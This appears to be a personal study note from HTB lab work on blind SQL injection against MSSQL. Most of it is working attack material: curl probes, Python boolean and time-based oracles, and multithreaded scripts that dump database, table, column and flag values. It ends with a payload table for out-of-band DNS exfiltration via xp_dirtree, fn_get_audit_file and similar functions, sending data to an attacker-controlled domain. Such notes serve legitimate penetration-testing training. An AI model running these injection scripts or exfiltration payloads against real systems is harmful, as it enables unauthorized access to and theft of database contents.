These examples are for MSSQL. If other DB, adjust queries. idk man

Examples#

Boolean based#

We found an endpoint that is vulnerable to boolean based SQLI. It checks if the username exists.

If it does, it respond with a json {"status":"taken"}

curl 'http://10.129.204.197/api/check-username.php?u=maria'                     
{"status":"taken"}

And it respond with a json {"status":"available"} if we specify a random username

curl 'http://10.129.204.197/api/check-username.php?u=asdasdxzcas'                     
{"status":"available"}

If we insert a single quote ', we can see that the webapp scream in error message, indicating that it is vulnerable to SQLI

curl "http://10.129.204.197/api/check-username.php?u=maria'" 
<br />
<b>Fatal error</b>:  Uncaught TypeError: sqlsrv_fetch_array(): Argument #1 ($stmt) must be of type resource, bool given in C:\Apache24\htdocs\amdonuts\api\check-username.php:11
Stack trace:
#0 C:\Apache24\htdocs\amdonuts\api\check-username.php(11): sqlsrv_fetch_array(false, 2)
#1 {main}
  thrown in <b>C:\Apache24\htdocs\amdonuts\api\check-username.php</b> on line <b>11</b><br />

Time based#

This one is a little more tricky to find, since they don’t produce any error, and no boolean. We know it works only when we use the right payload.

curl -o /dev/null -s -w 'Total: %{time_total}s\n' http://10.129.204.197:8080/ -H "User-Agent: asd'"
Total: 0.396680s

Here we used stacked queries, on second query we ask the sql server to wait 5 sec if 1=1 is true. And it works, so that’s how you find time-based SQLI

curl -o /dev/null -s -w 'Total: %{time_total}s\n' http://10.129.204.197:8080/ -H "User-Agent: asd'; IF (1=1) WAITFOR DELAY '0:0:5'-- -"
Total: 5.405334s

Here’s the comparison when we supply a wrong condition

curl -o /dev/null -s -w 'Total: %{time_total}s\n' http://10.129.204.197:8080/ -H "User-Agent: asd'; IF (1=0) WAITFOR DELAY '0:0:5'-- -"
Total: 0.437136s

Each SQL language has different syntax for time-based. Some most popular ones are:

Database Payload
MSSQL WAITFOR DELAY '0:0:10'
MySQL/MariaDB AND (SELECT SLEEP(10) FROM dual WHERE database() LIKE '%')
PostgreSQL | (SELECT 1 FROM PG_SLEEP(10))
Oracle AND 1234=DBMS_PIPE.RECEIVE_MESSAGE('RaNdStR',10)

Designing oracle#

Boolean based#

The username maria exists, so ?u=maria is always True. Now if we use AND, we can determine if the second part is True too.

I added proxy http://localhost:8080 for your debugging convenience. You should be able to see requests in burp

import requests

def oracle(guess):
    success = "taken"
    response = requests.get(
	    f"http://10.129.204.197/api/check-username.php?u=maria' AND {guess}-- ",
	    proxies={"http": "http://localhost:8080"}
	)
    return success in response.text

# Check if oracle works
assert oracle("1=1")
assert not oracle("1=0")

At the bottom of the oracle, we test if the oracle works. It should send ?u=maria' AND 1=1 to the webapp, ans since 2 condition are True, the oracle should return True

Time based#

Example from HTB. I cannot code :(

I think Burp automatically “fix” the User-Agent header so I keep getting error all the time. Too tired to find and change burp’s settings…

import requests
import time

# Define delay seconds if guess is True
DELAY = 2

def oracle(guess):
    start = time.time()
    r = requests.get(
        "http://10.129.204.197:8080/",
        headers={"User-Agent": f"';IF({guess}) WAITFOR DELAY '0:0:{DELAY}'--"},
    )
    return time.time() - start > DELAY

# Check if oracle works
assert oracle("1=1")
assert not oracle("1=0")

Designing code#

Optimizations#

Use BETWEEN AND. I also implemented multi thread from HTB’s example code

from concurrent.futures import ThreadPoolExecutor, as_completed
import threading

def bruteThread(i, result):
    low = 20
    high = 126
    while low <= high:
        mid = (low + high) // 2
        if oracle(f"ASCII(SUBSTRING(password,{i+1},1)) BETWEEN {low} AND {mid}"):
            high = mid -1
        else:
            low = mid + 1
    result[i] = chr(low)

length = 32
result = [None]*length
# Max threads 40
with ThreadPoolExecutor(max_workers=40) as spawnThread:
    for i in range(length):
        spawnThread.submit(bruteThread, i, result)
print("".join(c for c in result if c))

Use sql AND. This brute force bit by bit. Since ascii characters have 7 bits, the first always is 0, we can brute-forced each characters with 7 requests exactly

Dear god I don’t understand this enough to do multithread. But apparently you can have a thread for each request instead of for each characters like above

TODO: Check out this video

length = 32
for i in range(1, length + 1):
    c = 0
    for p in range(7):
        if oracle(f"ASCII(SUBSTRING(password,{i},1))&{2**p}>0"):
            c |= 2**p
    print(chr(c), end='')
    sys.stdout.flush()
print()

Actual code#

For dumping number, we can use SQL AND. This helps when we don’t know the range of number. Most numbers don’t go over 7 bits (0-127)

def dumpNumber(query):
    length = 0
    for p in range(7):
        if oracle(f"({query})&{2**p}>0"):
            length |= 2**p
    return length

db_name_length = dumpNumber("LEN(DB_NAME())")
print(db_name_length)

For dumping string, I still prefer BETWEEN AND since it is easier to code multi thread…

def dumpStringThread(i, query, result):
    low = 20
    high = 126
    while low <= high:
        mid = (low + high) // 2
        if oracle(f"ASCII(SUBSTRING({query},{i+1},1)) BETWEEN {low} AND {mid}"):
            high = mid -1
        else:
            low = mid + 1
    result[i] = chr(low)

def dumpString(query, length):
	result = [None]*length
	with ThreadPoolExecutor(max_workers=40) as spawnThread:
	    for i in range(length):
	        spawnThread.submit(dumpStringThread, i, query, result)
	return "".join(c for c in result if c)

length = 5
db_name = dumpString("DB_NAME()", length)
print("".join(c for c in db_name if c))

(Don’t use multi thread for time-based, learned this the hard way)

def dumpString(column, length):
    result = [None]*length
    for i in range(length):
        low = 20
        high = 126
        while low <= high:
            mid = (low + high) // 2
            if oracle(f"ASCII(SUBSTRING({column},{i+1},1)) BETWEEN {low} AND {mid}"):
                high = mid -1
            else:
                low = mid + 1
        result[i] = chr(low)
    return "".join(c for c in result if c)

length = 5
db_name = dumpString("DB_NAME()", length)
print(db_name)

Dumping queries#

NOTE: These are designed to use with the code above. Plug it into the dumpNumber and dumpString function

Database#

DB name length

LEN(DB_NAME())

DB name

DB_NAME()

Code

db_name_length = dumpNumber("LEN(DB_NAME())")
db_name = dumpString("DB_NAME()", db_name_length)
print(f"Database: {db_name}")

Tables#

Get number of table

SELECT COUNT(*) FROM information_schema.tables WHERE TABLE_CATALOG='digcraft'

Get first (offset 0) table name length

select LEN(table_name) from information_schema.tables where table_catalog='digcraft' order by table_name offset 0 rows fetch next 1 rows only

Get first (offset 0) table name

select table_name from information_schema.tables where table_catalog='digcraft' order by table_name offset {i} rows fetch next 1 rows only

Code:

# Get table number
table_count = dumpNumber(f"SELECT COUNT(*) FROM information_schema.tables WHERE TABLE_CATALOG='{db_name}'")
# Get each table's name
for i in range(table_count):
	table_name_length = dumpNumber(f"select LEN(table_name) from information_schema.tables where table_catalog='digcraft' order by table_name offset {i} rows fetch next 1 rows only")
	table_name = dumpString(f"select table_name from information_schema.tables where table_catalog='digcraft' order by table_name offset {i} rows fetch next 1 rows only", table_name_length)
	print(f"Table {i+1}: {table_name}")

Columns#

Get the number of columns in the ‘flag’ table

select count(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft'

Get the length of the first column name in the ‘flag’ table

select LEN(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset 0 rows fetch next 1 rows only

Get the value of the first column name in the ‘flag’ table

select column_name from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset 0 rows fetch next 1 rows only

Code:

# Get table number
column_count = dumpNumber("select count(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft'")
# Get each table's name
for i in range(table_count):
	column_name_length = dumpNumber(f"select LEN(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset {i} rows fetch next 1 rows only")
	column_name = dumpString(f"select column_name from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset {i} rows fetch next 1 rows only", column_name_length)
	print(f"Column {i+1}: {column_name}")

Rows#

Get the number of rows in the ‘flag’ table

SELECT COUNT(*) FROM flag

Get the length of flag column the first row in the ‘flag’ table

SELECT TOP 1 LEN(flag) FROM flag

Dump

SELECT TOP 1 flag FROM flag

Code:

row_count = dumpNumber("SELECT COUNT(*) FROM flag")
for i in range(row_count):
	flag_length = dumpNumber(f"SELECT LEN(flag) FROM flag order by flag offset {i} rows fetch next 1 rows only")
	flag = dumpString("SELECT flag FROM flag order by flag offset {i} rows fetch next 1 rows only", flag_length)
	print(f"Flag {i+1}: {flag}")

Out-of-band DNS exfiltration#

In all these payloads, SELECT 1234 is a placeholder for whatever information it is you want to exfiltrate

SQL Function SQL Query
master..xp_dirtree DECLARE @T varchar(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_dirtree "\\'+@T+'.YOUR.DOMAIN\\x"');
master..xp_fileexist DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_fileexist "\\'+@T+'.YOUR.DOMAIN\\x"');
master..xp_subdirs DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_subdirs "\\'+@T+'.YOUR.DOMAIN\\x"');
sys.dm_os_file_exists DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM sys.dm_os_file_exists('\\'+@T+'.YOUR.DOMAIN\x');
fn_trace_gettable DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM fn_trace_gettable('\\'+@T+'.YOUR.DOMAIN\x.trc',DEFAULT);
fn_get_audit_file DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM fn_get_audit_file('\\'+@T+'.YOUR.DOMAIN\',DEFAULT,DEFAULT);

However, domain names are limited in characters. The part between dots can be a maximum of 63 characters long, and the entire domain can be a maximum of 253 characters long

So we can split up @T variable into @A and @B like this, each max 63 characters.

DECLARE @T VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT @T=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), flag), 1) from flag; SELECT @A=SUBSTRING(@T,3,63); SELECT @B=SUBSTRING(@T,3+63,63);

And this is how a full query looks like

DECLARE @T VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT @T=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), flag), 1) from flag; SELECT @A=SUBSTRING(@T,3,63); SELECT @B=SUBSTRING(@T,3+63,63); SELECT * FROM fn_get_audit_file('\\'+@A+'.'+@B+'.YOUR.DOMAIN\',DEFAULT,DEFAULT);

For the domain name, use interactsh or burp collaborator.

If don’t want DNS query go out of internet, we can either see from local DNS server.

If don’t want to rely on interactsh or burp, we can register our own domain (DNS request packet might still in cleartext and can be intercepted).